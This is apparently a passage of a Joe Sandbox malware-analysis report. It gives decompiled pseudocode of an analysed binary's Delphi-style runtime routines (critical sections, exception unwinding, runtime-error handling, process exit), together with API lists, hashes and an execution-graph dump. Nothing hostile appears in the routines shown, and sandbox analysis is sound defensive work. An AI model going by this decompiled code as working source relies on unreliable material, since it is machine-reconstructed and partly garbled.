                                                          				intOrPtr _t19;
                                                          				intOrPtr _t20;
                                                          				intOrPtr _t23;
                                                          
                                                          				_push(_t23);
                                                          				_push(E004019CE);
                                                          				_push( *[fs:edx]);
                                                          				 *[fs:edx] = _t23;
                                                          				_push(0x40b41c);
                                                          				L0040126C();
                                                          				if( *0x40b032 != 0) {
                                                          					_push(0x40b41c);
                                                          					L00401274();
                                                          				}
                                                          				E004012DC(0x40b43c);
                                                          				E004012DC(0x40b44c);
                                                          				E004012DC(0x40b478);
                                                          				 *0x40b474 = LocalAlloc(0, 0xff8);
                                                          				if( *0x40b474 != 0) {
                                                          					_t13 = 3;
                                                          					do {
                                                          						_t20 =  *0x40b474; // 0x0
                                                          						 *((intOrPtr*)(_t20 + _t13 * 4 - 0xc)) = 0;
                                                          						_t13 = _t13 + 1;
                                                          					} while (_t13 != 0x401);
                                                          					 *((intOrPtr*)(0x40b460)) = 0x40b45c;
                                                          					 *0x40b45c = 0x40b45c;
                                                          					 *0x40b468 = 0x40b45c;
                                                          					 *0x40b415 = 1;
                                                          				}
                                                          				_pop(_t19);
                                                          				 *[fs:eax] = _t19;
                                                          				_push(E004019D5);
                                                          				if( *0x40b032 != 0) {
                                                          					_push(0x40b41c);
                                                          					L0040127C();
                                                          					return 0;
                                                          				}
                                                          				return 0;
                                                          			}







                                                          0x0040191d
                                                          0x0040191e
                                                          0x00401923
                                                          0x00401926
                                                          0x00401929
                                                          0x0040192e
                                                          0x0040193a
                                                          0x0040193c
                                                          0x00401941
                                                          0x00401941
                                                          0x0040194b
                                                          0x00401955
                                                          0x0040195f
                                                          0x00401970
                                                          0x0040197c
                                                          0x0040197e
                                                          0x00401983
                                                          0x00401983
                                                          0x0040198b
                                                          0x0040198f
                                                          0x00401990
                                                          0x0040199c
                                                          0x0040199f
                                                          0x004019a1
                                                          0x004019a6
                                                          0x004019a6
                                                          0x004019af
                                                          0x004019b2
                                                          0x004019b5
                                                          0x004019c1
                                                          0x004019c3
                                                          0x004019c8
                                                          0x00000000
                                                          0x004019c8
                                                          0x004019cd

                                                          APIs
                                                          • RtlInitializeCriticalSection.KERNEL32(0040B41C,00000000,004019CE,?,?,0040217A,01FA2C84,?,00000000,?,?,00401B95,00401BAA,00401CEE), ref: 0040192E
                                                          • RtlEnterCriticalSection.KERNEL32(0040B41C,0040B41C,00000000,004019CE,?,?,0040217A,01FA2C84,?,00000000,?,?,00401B95,00401BAA,00401CEE), ref: 00401941
                                                          • LocalAlloc.KERNEL32(00000000,00000FF8,0040B41C,00000000,004019CE,?,?,0040217A,01FA2C84,?,00000000,?,?,00401B95,00401BAA,00401CEE), ref: 0040196B
                                                          • RtlLeaveCriticalSection.KERNEL32(0040B41C,004019D5,00000000,004019CE,?,?,0040217A,01FA2C84,?,00000000,?,?,00401B95,00401BAA,00401CEE), ref: 004019C8
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: CriticalSection$AllocEnterInitializeLeaveLocal
                                                          • String ID:
                                                          • API String ID: 730355536-0
                                                          • Opcode ID: d86d34665db04aebcec5341be5f52ed2604b071df683f4701a97846457825e36
                                                          • Instruction ID: 1fbc517603835383e1336f1caa5f3efd636d2a280deaa4dd4e997cee02ce5fac
                                                          • Opcode Fuzzy Hash: d86d34665db04aebcec5341be5f52ed2604b071df683f4701a97846457825e36
                                                          • Instruction Fuzzy Hash: 2B016DB0A843409EE715AB6A9A56B263AA4D785B04F1484BFF050FA3F3C77C4550C7DD
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 51%
                                                          			E00402CCC(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12) {
                                                          				intOrPtr _v8;
                                                          				intOrPtr _v44;
                                                          				void* __ebx;
                                                          				void* __esi;
                                                          				intOrPtr* _t29;
                                                          				intOrPtr _t32;
                                                          				intOrPtr _t33;
                                                          				intOrPtr* _t34;
                                                          				intOrPtr* _t35;
                                                          				intOrPtr* _t40;
                                                          				intOrPtr _t45;
                                                          				void* _t48;
                                                          				intOrPtr _t50;
                                                          				intOrPtr _t51;
                                                          				intOrPtr _t56;
                                                          				intOrPtr* _t59;
                                                          				intOrPtr* _t61;
                                                          				intOrPtr _t64;
                                                          				intOrPtr* _t67;
                                                          				intOrPtr _t70;
                                                          				intOrPtr _t73;
                                                          
                                                          				_t29 = _a4;
                                                          				if(( *(_t29 + 4) & 0x00000006) == 0) {
                                                          					if( *_t29 == 0xeedface) {
                                                          						_t32 =  *((intOrPtr*)( *((intOrPtr*)(_t29 + 0x18))));
                                                          						goto L6;
                                                          					} else {
                                                          						E0040285C(_t29);
                                                          						_t61 =  *0x40b008; // 0x405b4c
                                                          						if(_t61 != 0) {
                                                          							_t32 =  *_t61();
                                                          							if(_t32 != 0) {
                                                          								L6:
                                                          								_t50 =  *((intOrPtr*)(_a8 + 4));
                                                          								_t45 =  *((intOrPtr*)(_t50 + 5));
                                                          								_t9 = _t50 + 9; // 0xf
                                                          								_t67 = _t9;
                                                          								_t70 = _t32;
                                                          								while(1) {
                                                          									L7:
                                                          									_t33 =  *_t67;
                                                          									__eflags = _t33;
                                                          									if(_t33 == 0) {
                                                          										break;
                                                          									}
                                                          									_t64 = _t70;
                                                          									while(1) {
                                                          										__eflags = _t33 - _t64;
                                                          										if(_t33 == _t64) {
                                                          											goto L16;
                                                          										}
                                                          										__eflags =  *((intOrPtr*)(_t33 - 0x18)) -  *((intOrPtr*)(_t64 - 0x18));
                                                          										if( *((intOrPtr*)(_t33 - 0x18)) ==  *((intOrPtr*)(_t64 - 0x18))) {
                                                          											_t40 =  *((intOrPtr*)(_t33 - 0x1c));
                                                          											_t59 =  *((intOrPtr*)(_t64 - 0x1c));
                                                          											_t54 =  *_t40;
                                                          											__eflags =  *_t40 -  *_t59;
                                                          											if( *_t40 ==  *_t59) {
                                                          												__eflags = _t59 + 1;
                                                          												E0040270C(_t40 + 1, _t54, _t59 + 1);
                                                          												if(__eflags == 0) {
                                                          													goto L16;
                                                          												}
                                                          											}
                                                          										}
                                                          										_t64 =  *((intOrPtr*)(_t64 - 0x14));
                                                          										_t33 =  *_t67;
                                                          										__eflags = _t64;
                                                          										if(_t64 != 0) {
                                                          											continue;
                                                          										}
                                                          										_t67 = _t67 + 8;
                                                          										_t45 = _t45 - 1;
                                                          										__eflags = _t45;
                                                          										if(_t45 != 0) {
                                                          											goto L7;
                                                          										}
                                                          										goto L19;
                                                          									}
                                                          									break;
                                                          								}
                                                          								L16:
                                                          								_t34 = _a4;
                                                          								__eflags =  *_t34 - 0xeedface;
                                                          								_t56 =  *((intOrPtr*)(_t34 + 0x18));
                                                          								_t51 =  *((intOrPtr*)(_t34 + 0x14));
                                                          								if( *_t34 != 0xeedface) {
                                                          									_t56 = E00402B28( *0x40b00c(), _a12);
                                                          									_t34 = _a4;
                                                          									_t51 =  *((intOrPtr*)(_t34 + 0xc));
                                                          								}
                                                          								_push( *[fs:ebx]);
                                                          								_push(_t34);
                                                          								_push(_t56);
                                                          								_push(_t51);
                                                          								 *(_t34 + 4) =  *(_t34 + 4) | 0x00000002;
                                                          								_push(_t67);
                                                          								_push(0);
                                                          								_push(_t34);
                                                          								_push(0x402da8);
                                                          								_push(_a8);
                                                          								L004011CC();
                                                          								_pop(_t48);
                                                          								_t35 = E00403154();
                                                          								_push( *_t35);
                                                          								 *_t35 = _t73;
                                                          								 *((intOrPtr*)(_v8 + 4)) = E00402DD4;
                                                          								E00402B5C(_v44, _t48, _t67);
                                                          								goto ( *((intOrPtr*)(_t48 + 4)));
                                                          							} else {
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          				L19:
                                                          				return 1;
                                                          			}
























                                                          0x00402ccc
                                                          0x00402cd7
                                                          0x00402ce3
                                                          0x00402d06
                                                          0x00000000
                                                          0x00402ce5
                                                          0x00402ce5
                                                          0x00402cea
                                                          0x00402cf2
                                                          0x00402cf8
                                                          0x00402cfc
                                                          0x00402d08
                                                          0x00402d10
                                                          0x00402d13
                                                          0x00402d16
                                                          0x00402d16
                                                          0x00402d19
                                                          0x00402d1b
                                                          0x00402d1b
                                                          0x00402d1b
                                                          0x00402d1d
                                                          0x00402d1f
                                                          0x00000000
                                                          0x00000000
                                                          0x00402d21
                                                          0x00402d23
                                                          0x00402d23
                                                          0x00402d25
                                                          0x00000000
                                                          0x00000000
                                                          0x00402d2a
                                                          0x00402d2d
                                                          0x00402d2f
                                                          0x00402d32
                                                          0x00402d37
                                                          0x00402d39
                                                          0x00402d3b
                                                          0x00402d3e
                                                          0x00402d3f
                                                          0x00402d44
                                                          0x00000000
                                                          0x00000000
                                                          0x00402d44
                                                          0x00402d3b
                                                          0x00402d46
                                                          0x00402d49
                                                          0x00402d4b
                                                          0x00402d4d
                                                          0x00000000
                                                          0x00000000
                                                          0x00402d4f
                                                          0x00402d52
                                                          0x00402d52
                                                          0x00402d53
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00402d58
                                                          0x00000000
                                                          0x00402d23
                                                          0x00402d5e
                                                          0x00402d5e
                                                          0x00402d62
                                                          0x00402d68
                                                          0x00402d6b
                                                          0x00402d6e
                                                          0x00402d7f
                                                          0x00402d81
                                                          0x00402d85
                                                          0x00402d85
                                                          0x00402d8d
                                                          0x00402d8e
                                                          0x00402d8f
                                                          0x00402d90
                                                          0x00402d95
                                                          0x00402d99
                                                          0x00402d9a
                                                          0x00402d9c
                                                          0x00402d9d
                                                          0x00402da2
                                                          0x00402da3
                                                          0x00402da8
                                                          0x00402dad
                                                          0x00402db2
                                                          0x00402db8
                                                          0x00402dc1
                                                          0x00402dcc
                                                          0x00402dd1
                                                          0x00000000
                                                          0x00402cfe
                                                          0x00402cfc
                                                          0x00402cf2
                                                          0x00402ce3
                                                          0x00402df4
                                                          0x00402df9

                                                          APIs
                                                          • RtlUnwind.KERNEL32(?,00402DA8,?,00000000,0000000F,?,?,?,?), ref: 00402DA3
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: Unwind
                                                          • String ID: L[@$`[@
                                                          • API String ID: 3419175465-1751733832
                                                          • Opcode ID: 461f46f0764b0e976dca9645666d8089b97e2ef70a78bdb8bf6066fcd78b4e55
                                                          • Instruction ID: 4e34e1b9b67335c333c83c85b531455ae4cd4c13f1293b8a75d41d0fde5a4390
                                                          • Opcode Fuzzy Hash: 461f46f0764b0e976dca9645666d8089b97e2ef70a78bdb8bf6066fcd78b4e55
                                                          • Instruction Fuzzy Hash: 1E3160742042019FC714DF05CA88A27B7E5FF88714F1585BAE948AB3E1C775EC42DBA9
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 67%
                                                          			E00403018(void* __esi, intOrPtr _a4, signed int _a8) {
                                                          				signed int _v12;
                                                          				void* _t21;
                                                          				signed int _t22;
                                                          				signed int _t23;
                                                          				signed int _t27;
                                                          				signed int _t28;
                                                          				void* _t32;
                                                          				void* _t33;
                                                          				void* _t43;
                                                          				void* _t44;
                                                          
                                                          				if(( *(_a4 + 4) & 0x00000006) != 0) {
                                                          					__eflags = 0;
                                                          					return 0;
                                                          				} else {
                                                          					__eax = E0040285C(__eax);
                                                          					__edx = _a8;
                                                          					_push(0);
                                                          					_push(__eax);
                                                          					_push(0x40303c);
                                                          					_push(_a8);
                                                          					L004011CC();
                                                          					__ebx = _v12;
                                                          					__eflags =  *__ebx - 0xeedface;
                                                          					__edx =  *(__ebx + 0x14);
                                                          					__eax =  *(__ebx + 0x18);
                                                          					if( *__ebx == 0xeedface) {
                                                          						L38:
                                                          						__eax = E00402BE8(__eax, __esi);
                                                          						__ecx =  *0x40b000; // 0x405c54
                                                          						__eflags = __ecx;
                                                          						if(__ecx != 0) {
                                                          							__eax =  *__ecx();
                                                          						}
                                                          						__ecx = _v12;
                                                          						__eax = 0xd9;
                                                          						__edx =  *(__ecx + 0x14);
                                                          						 *__esp =  *(__ecx + 0x14);
                                                          						_pop( *0x40b028);
                                                          						 *0x40b020 = 0xd9;
                                                          						__eflags =  *0x40b030;
                                                          						if( *0x40b030 == 0) {
                                                          							goto L46;
                                                          						} else {
                                                          							__eflags =  *0x40b414 - 1;
                                                          							if(__eflags < 0) {
                                                          								L58:
                                                          								ExitProcess( *0x40b020); // executed
                                                          							} else {
                                                          								if(__eflags == 0) {
                                                          									goto L46;
                                                          								} else {
                                                          									__eax = 0xd9;
                                                          									__eflags = 0xd9;
                                                          									if(0xd9 != 0) {
                                                          										while(1) {
                                                          											L46:
                                                          											__eax =  *0x40b024; // 0x0
                                                          											__eax = __eax;
                                                          											__eflags = __eax;
                                                          											if(__eax == 0) {
                                                          												break;
                                                          											}
                                                          											__edx = 0;
                                                          											 *0x40b024 = 0;
                                                          											__eax =  *__eax();
                                                          										}
                                                          										__eflags =  *0x40b028;
                                                          										if( *0x40b028 != 0) {
                                                          											__eax =  *0x40b020; // 0x0
                                                          											__ebx = "  at 00000000";
                                                          											__ecx = 0xa;
                                                          											do {
                                                          												__edx = 0;
                                                          												_t15 = __eax % 0xa;
                                                          												__eax = __eax / 0xa;
                                                          												__edx = _t15;
                                                          												__dl = __dl + 0x30;
                                                          												 *__ebx = __dl;
                                                          												__ebx = __ebx - 1;
                                                          												__eflags = __eax;
                                                          											} while (__eax != 0);
                                                          											__ebx = 0x40a030;
                                                          											__eax =  *0x40b028; // 0x0
                                                          											__eax = __eax - 0x401178;
                                                          											__eflags = __eax;
                                                          											do {
                                                          												__edx = __eax;
                                                          												__edx = __eax & 0x0000000f;
                                                          												__dl =  *((intOrPtr*)(__edx + 0x403ec0));
                                                          												 *__ebx =  *((intOrPtr*)(__edx + 0x403ec0));
                                                          												__ebx = __ebx - 1;
                                                          												__eax = __eax >> 4;
                                                          												__eflags = __eax;
                                                          											} while (__eax != 0);
                                                          											__eflags =  *0x40b031;
                                                          											if( *0x40b031 != 0) {
                                                          												__eax = 0x40b204;
                                                          												__edx = "Runtime error     at 00000000";
                                                          												E00404088(0x40b204, "Runtime error     at 00000000") = E0040400B();
                                                          											} else {
                                                          												__eax = MessageBoxA(0, "Runtime error     at 00000000", "Error", 0);
                                                          											}
                                                          										}
                                                          										0x40b038 = E00403D6C(0x40b038);
                                                          										0x40b204 = E00403D6C(0x40b204); // executed
                                                          										__eax = E004019DC(); // executed
                                                          										__eflags =  *0x40b414;
                                                          										if( *0x40b414 == 0) {
                                                          											__eax = E004030B4();
                                                          											goto L58;
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          						__eax = E004030B4();
                                                          						 *0x40b414 = 0;
                                                          						__eax =  *0x40b020; // 0x0
                                                          						__eax =  ~__eax;
                                                          						asm("sbb eax, eax");
                                                          						__eax = __eax + 1;
                                                          						__eflags = __eax;
                                                          						__esi =  *0x40b40c; // 0x0
                                                          						__ebx =  *0x40b408; // 0x0
                                                          						__ebp =  *0x40b404; // 0x0
                                                          						__esp = __ebp;
                                                          						_pop(__ebp);
                                                          						return __eax;
                                                          					} else {
                                                          						__edx =  *0x40b00c; // 0x405b60
                                                          						__eflags = __edx;
                                                          						if(__edx == 0) {
                                                          							L1:
                                                          							_t35 = _v12;
                                                          							_t21 =  *_v12;
                                                          							_t43 = _t21 - 0xc0000092;
                                                          							if(_t43 > 0) {
                                                          								__eflags = _t21 - 0xc0000096;
                                                          								if(__eflags > 0) {
                                                          									_t22 = _t21 - 0xc00000fd;
                                                          									__eflags = _t22;
                                                          									if(_t22 == 0) {
                                                          										_t23 = 0xca;
                                                          									} else {
                                                          										__eflags = _t22 == 0x3d;
                                                          										if(_t22 == 0x3d) {
                                                          											_t23 = 0xd9;
                                                          										} else {
                                                          											goto L32;
                                                          										}
                                                          									}
                                                          								} else {
                                                          									if(__eflags == 0) {
                                                          										_t23 = 0xda;
                                                          									} else {
                                                          										_t27 = _t21 - 0xc0000093;
                                                          										__eflags = _t27;
                                                          										if(_t27 == 0) {
                                                          											goto L27;
                                                          										} else {
                                                          											_t28 = _t27 - 1;
                                                          											__eflags = _t28;
                                                          											if(_t28 == 0) {
                                                          												_t23 = 0xc8;
                                                          											} else {
                                                          												__eflags = _t28 == 1;
                                                          												if(_t28 == 1) {
                                                          													_t23 = 0xd7;
                                                          												} else {
                                                          													goto L32;
                                                          												}
                                                          											}
                                                          										}
                                                          									}
                                                          								}
                                                          							} else {
                                                          								if(_t43 == 0) {
                                                          									L24:
                                                          									_t23 = 0xcf;
                                                          								} else {
                                                          									_t44 = _t21 - 0xc000008e;
                                                          									if(_t44 > 0) {
                                                          										__eflags = _t21 + 0x3fffff71 - 2;
                                                          										if(__eflags < 0) {
                                                          											goto L24;
                                                          										} else {
                                                          											if(__eflags == 0) {
                                                          												_t23 = 0xcd;
                                                          											} else {
                                                          												goto L32;
                                                          											}
                                                          										}
                                                          									} else {
                                                          										if(_t44 == 0) {
                                                          											_t23 = 0xc8;
                                                          										} else {
                                                          											_t32 = _t21 - 0xc0000005;
                                                          											if(_t32 == 0) {
                                                          												_t23 = 0xd8;
                                                          											} else {
                                                          												_t33 = _t32 - 0x87;
                                                          												if(_t33 == 0) {
                                                          													_t23 = 0xc9;
                                                          												} else {
                                                          													if(_t33 == 1) {
                                                          														L27:
                                                          														_t23 = 0xce;
                                                          													} else {
                                                          														L32:
                                                          														_t23 = 0xd9;
                                                          													}
                                                          												}
                                                          											}
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          							return E00402F6C(_t23 & 0x000000ff,  *((intOrPtr*)(_t35 + 0xc)));
                                                          						} else {
                                                          							__eax = __ebx;
                                                          							__eax =  *__edx();
                                                          							__eflags = __eax;
                                                          							if(__eax == 0) {
                                                          								goto L1;
                                                          							} else {
                                                          								__edx =  *(__ebx + 0xc);
                                                          								goto L38;
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          			}













                                                          0x00403023
                                                          0x00403090
                                                          0x00403092
                                                          0x00403025
                                                          0x00403025
                                                          0x0040302a
                                                          0x0040302e
                                                          0x00403030
                                                          0x00403031
                                                          0x00403036
                                                          0x00403037
                                                          0x0040303c
                                                          0x00403040
                                                          0x00403046
                                                          0x00403049
                                                          0x0040304c
                                                          0x0040306b
                                                          0x0040306b
                                                          0x00403070
                                                          0x00403076
                                                          0x00403078
                                                          0x0040307a
                                                          0x0040307a
                                                          0x0040307c
                                                          0x00403080
                                                          0x00403085
                                                          0x00403088
                                                          0x00403ee5
                                                          0x00403da8
                                                          0x00403dad
                                                          0x00403db4
                                                          0x00000000
                                                          0x00403db6
                                                          0x00403db6
                                                          0x00403dbd
                                                          0x00403e83
                                                          0x00403e89
                                                          0x00403dc3
                                                          0x00403dc3
                                                          0x00000000
                                                          0x00403dc5
                                                          0x00403dc5
                                                          0x00403dc5
                                                          0x00403dc7
                                                          0x00403dcd
                                                          0x00403dcd
                                                          0x00403dcd
                                                          0x00403dd2
                                                          0x00403dd2
                                                          0x00403dd4
                                                          0x00000000
                                                          0x00000000
                                                          0x00403dd6
                                                          0x00403dd8
                                                          0x00403dde
                                                          0x00403dde
                                                          0x00403de2
                                                          0x00403de9
                                                          0x00403deb
                                                          0x00403df0
                                                          0x00403df5
                                                          0x00403dfa
                                                          0x00403dfa
                                                          0x00403dfc
                                                          0x00403dfc
                                                          0x00403dfc
                                                          0x00403dfe
                                                          0x00403e01
                                                          0x00403e03
                                                          0x00403e04
                                                          0x00403e04
                                                          0x00403e08
                                                          0x00403e0d
                                                          0x00403e12
                                                          0x00403e12
                                                          0x00403e17
                                                          0x00403e17
                                                          0x00403e19
                                                          0x00403e1c
                                                          0x00403e22
                                                          0x00403e24
                                                          0x00403e25
                                                          0x00403e25
                                                          0x00403e25
                                                          0x00403e2a
                                                          0x00403e31
                                                          0x00403e48
                                                          0x00403e4d
                                                          0x00403e57
                                                          0x00403e33
                                                          0x00403e41
                                                          0x00403e41
                                                          0x00403e31
                                                          0x00403e61
                                                          0x00403e6b
                                                          0x00403e70
                                                          0x00403e75
                                                          0x00403e7c
                                                          0x00403e7e
                                                          0x00000000
                                                          0x00403e7e
                                                          0x00403e7c
                                                          0x00403dc7
                                                          0x00403dc3
                                                          0x00403dbd
                                                          0x00403e8e
                                                          0x00403e93
                                                          0x00403e9a
                                                          0x00403e9f
                                                          0x00403ea1
                                                          0x00403ea3
                                                          0x00403ea3
                                                          0x00403eaa
                                                          0x00403eb0
                                                          0x00403eb6
                                                          0x00403ebc
                                                          0x00403ebc
                                                          0x00403ebd
                                                          0x0040304e
                                                          0x0040304e
                                                          0x00403054
                                                          0x00403056
                                                          0x00402f78
                                                          0x00402f7b
                                                          0x00402f7e
                                                          0x00402f80
                                                          0x00402f85
                                                          0x00402fb3
                                                          0x00402fb8
                                                          0x00402fcb
                                                          0x00402fcb
                                                          0x00402fd0
                                                          0x00403001
                                                          0x00402fd2
                                                          0x00402fd2
                                                          0x00402fd5
                                                          0x00402ffd
                                                          0x00402fd7
                                                          0x00000000
                                                          0x00402fd7
                                                          0x00402fd5
                                                          0x00402fba
                                                          0x00402fba
                                                          0x00402ff9
                                                          0x00402fbc
                                                          0x00402fbc
                                                          0x00402fbc
                                                          0x00402fc1
                                                          0x00000000
                                                          0x00402fc3
                                                          0x00402fc3
                                                          0x00402fc3
                                                          0x00402fc4
                                                          0x00402fd9
                                                          0x00402fc6
                                                          0x00402fc6
                                                          0x00402fc7
                                                          0x00402fed
                                                          0x00402fc9
                                                          0x00000000
                                                          0x00402fc9
                                                          0x00402fc7
                                                          0x00402fc4
                                                          0x00402fc1
                                                          0x00402fba
                                                          0x00402f87
                                                          0x00402f87
                                                          0x00402fe5
                                                          0x00402fe5
                                                          0x00402f89
                                                          0x00402f89
                                                          0x00402f8e
                                                          0x00402faa
                                                          0x00402fad
                                                          0x00000000
                                                          0x00402faf
                                                          0x00402faf
                                                          0x00402fe1
                                                          0x00402fb1
                                                          0x00000000
                                                          0x00402fb1
                                                          0x00402faf
                                                          0x00402f90
                                                          0x00402f90
                                                          0x00402fe9
                                                          0x00402f92
                                                          0x00402f92
                                                          0x00402f97
                                                          0x00402ff5
                                                          0x00402f99
                                                          0x00402f99
                                                          0x00402f9e
                                                          0x00402fdd
                                                          0x00402fa0
                                                          0x00402fa1
                                                          0x00402ff1
                                                          0x00402ff1
                                                          0x00402fa3
                                                          0x00403005
                                                          0x00403005
                                                          0x00403005
                                                          0x00402fa1
                                                          0x00402f9e
                                                          0x00402f97
                                                          0x00402f90
                                                          0x00402f8e
                                                          0x00402f87
                                                          0x00403015
                                                          0x0040305c
                                                          0x0040305c
                                                          0x0040305e
                                                          0x00403060
                                                          0x00403062
                                                          0x00000000
                                                          0x00403068
                                                          0x00403068
                                                          0x00000000
                                                          0x00403068
                                                          0x00403062
                                                          0x00403056
                                                          0x0040304c

                                                          APIs
                                                          • RtlUnwind.KERNEL32(?,0040303C,00000000,00000000), ref: 00403037
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: Unwind
                                                          • String ID: T\@$`[@
                                                          • API String ID: 3419175465-559789145
                                                          • Opcode ID: cf052ca5a1dfdc8996027feea02f07a474dc396ed8bdb9d7668b73762b1fe144
                                                          • Instruction ID: cb865691cce5fd3c7a7f640cb22bbe848836da1b56ac3702cd8c9ca671f9cc7d
                                                          • Opcode Fuzzy Hash: cf052ca5a1dfdc8996027feea02f07a474dc396ed8bdb9d7668b73762b1fe144
                                                          • Instruction Fuzzy Hash: C31182352046029BD724DE18CA89B2777B5AB44744F24C13AA404AB3DAC77CDC41A7A9
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E004030DC() {
                                                          
                                                          				E00403094();
                                                          				 *0x40b014 = GetModuleHandleA(0);
                                                          				 *0x40b01c = GetCommandLineA();
                                                          				 *0x40b018 = 0xa;
                                                          				return 0x402e34;
                                                          			}



                                                          0x004030dc
                                                          0x004030e8
                                                          0x004030f3
                                                          0x004030f9
                                                          0x00403108

                                                          APIs
                                                          • GetModuleHandleA.KERNEL32(00000000,004096A2), ref: 004030E3
                                                          • GetCommandLineA.KERNEL32(00000000,004096A2), ref: 004030EE
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.383122205.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.383114378.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383132398.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.383161114.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                          Similarity
                                                          • API ID: CommandHandleLineModule
                                                          • String ID: U1hd.@
                                                          • API String ID: 2123368496-2904493091
                                                          • Opcode ID: dc37779357fa3c8f6d3c103c1a1d04ce0330030a2a249e6f734b52dac6989e3b
                                                          • Instruction ID: fc6106ec3918557feb9e8595d18864a5322139aa66bf0d8c86619f258e517ec6
                                                          • Opcode Fuzzy Hash: dc37779357fa3c8f6d3c103c1a1d04ce0330030a2a249e6f734b52dac6989e3b
                                                          • Instruction Fuzzy Hash: 04C002745413408AD76CAFB69E4A70A3994E785309F40883FA218BE3F1DB7C4605ABDD
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Execution Graph

                                                          Execution Coverage:13%
                                                          Dynamic/Decrypted Code Coverage:0%
                                                          Signature Coverage:4.6%
                                                          Total number of Nodes:2000
                                                          Total number of Limit Nodes:88
                                                          execution_graph 45924 416804 72E69840 45925 464b40 45926 464b76 45925->45926 45927 464d63 45925->45927 45929 464baa 45926->45929 45932 464bf4 45926->45932 45933 464c05 45926->45933 45934 464bd2 45926->45934 45935 464be3 45926->45935 45936 464bc1 45926->45936 46178 403548 45927->46178 45929->45927 46002 462784 45929->46002 46155 4648b4 71 API calls 45932->46155 46156 464ad0 57 API calls 45933->46156 46154 4645ac 53 API calls 45934->46154 45961 4646e4 45935->45961 46153 464444 58 API calls 45936->46153 45939 403548 4 API calls 45944 464df7 45939->45944 45943 464bc7 45943->45927 45943->45929 45945 464c27 45945->45927 45955 464c69 45945->45955 46157 4875e8 45945->46157 45948 464d50 46176 477aa0 92 API calls 45948->46176 45949 414d00 18 API calls 45949->45955 45950 42cc98 20 API calls 45950->45955 45952 403598 18 API calls 45952->45955 45955->45927 45955->45948 45955->45949 45955->45950 45955->45952 45958 464dd1 45955->45958 46005 4626c0 45955->46005 46013 463cfc 45955->46013 46020 463628 45955->46020 46040 463de4 45955->46040 46078 477688 45955->46078 46177 464234 48 API calls 45955->46177 45959 463de4 52 API calls 45958->45959 45959->45927 46182 4651f0 45961->46182 45964 464879 45965 403548 4 API calls 45964->45965 45968 46488e 45965->45968 45967 464732 45969 46473f 45967->45969 45970 46486a 45967->45970 46224 403568 45968->46224 46189 42c9b8 19 API calls 45969->46189 46218 403598 45970->46218 45975 403548 4 API calls 45977 4648a3 45975->45977 45976 46474a 46190 42c614 45976->46190 45977->45929 45979 464755 46200 454498 24 API calls 45979->46200 45981 464828 45981->45964 45981->45970 45986 42ce28 21 API calls 45981->45986 45983 4647c8 45983->45964 45983->45981 46210 42ce28 45983->46210 45985 464763 45985->45983 46201 4601d4 45985->46201 45988 46483e 45986->45988 45988->45970 45993 450c5c 18 API calls 45988->45993 45992 4601d4 33 API calls 45995 4647a3 45992->45995 45997 464855 45993->45997 46205 450c2c 45995->46205 46217 473bcc 53 API calls 45997->46217 46001 464865 46001->45964 46001->45970 46003 4626c0 33 API calls 46002->46003 46004 462793 46003->46004 46004->45945 46009 4626ef 46005->46009 46006 407b08 33 API calls 46007 462728 46006->46007 46483 451afc 18 API calls 46007->46483 46009->46006 46010 462730 46009->46010 46011 403548 4 API calls 46010->46011 46012 462748 46011->46012 46012->45955 46014 463d0d 46013->46014 46015 463d08 46013->46015 46019 463d0b 46014->46019 46484 463258 46014->46484 46015->46019 46490 463768 46015->46490 46018 463d21 46018->45955 46019->45955 46021 46364f 46020->46021 47078 472cc8 46021->47078 